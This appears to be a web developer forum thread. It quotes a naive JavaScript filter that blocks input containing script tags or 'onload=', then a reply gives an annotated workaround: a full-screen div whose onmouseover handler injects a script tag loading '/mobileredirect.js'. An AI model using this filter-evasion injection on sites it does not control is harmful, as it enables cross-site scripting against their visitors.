Forum Moderators: open
<script type="text/javascript" src="/mobileredirect.js"></script> function checkScript (Array)
{
for (x in Array)
{
string1 = new String(Array[x]);
string2 = new String(string1.toLowerCase());
//alert (string1);
if (string2.toLowerCase().indexOf('\</script\>')!= -1)
{
alert('Please do not input javascript into text boxes');
return false;
}
if (string2.toLowerCase().indexOf('\<script ')!= -1)
{
alert('Please do not input javascript into text boxes');
return false;
}
if (string2.toLowerCase().indexOf('onload=')!= -1)
{
alert('Please do not input javascript into text boxes');
return false;
}
}
return true;
}
'</script>'
...or...
'<script ' <div style="position:absolute; top: 0; left: 0; height: 100%; width: 100%;" id="loadscript" onmouseover="(function() { var si = document.createElement('script'); si.type = 'text/javascript'; si.async = true; si.src = '/mobileredirect.js'; var s = document.getElementsByTagName('head')[0]; s.appendChild(si); var di = document.getElementById('loadscript'); di.parentNode.removeChild(di); })();" ></div>
// if they don't allow a div, use <b> and add "display: block;" to the style attribute
<div
// give it a style that will make it fill the entire screen
style="position:absolute; top: 0; left: 0; height: 100%; width: 100%;"
// give it a handle to reference later
id="loadscript"
// the onmouseover event should trigger right away since it fills the screen
onmouseover="(function() {
// create a new script element, set it's various values
var si = document.createElement('script'); si.type = 'text/javascript'; si.async = true; si.src = '/mobileredirect.js';
// add it to the head of the document
var s = document.getElementsByTagName('head')[0]; s.appendChild(si);
// find the loadscript div and delete it so it doesn't interfere with the user
var di = document.getElementById('loadscript'); di.parentNode.removeChild(di);
})();" ></div>